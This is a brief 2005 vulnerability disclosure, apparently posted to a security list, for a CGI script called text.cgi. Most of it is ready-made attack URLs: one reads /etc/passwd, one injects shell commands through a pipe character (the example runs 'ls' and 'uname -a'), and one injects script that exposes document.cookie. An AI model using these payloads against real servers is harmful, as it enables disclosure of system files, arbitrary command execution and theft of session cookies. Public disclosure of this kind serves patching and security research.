remote command execution in text.cgi script
Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx
THERE ARE SOME BUGS IN text.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A
SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/text.cgi?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/text.cgi?|command
3)CSS
http://www.target.com/cgi-bin/text.cgi?<script>alert(document.cookie)</script>
ex:
http://www.target.com/cgi-bin/text.cgi?|ls;uname -a;
greetz to all magattack memebers www.magattack.tk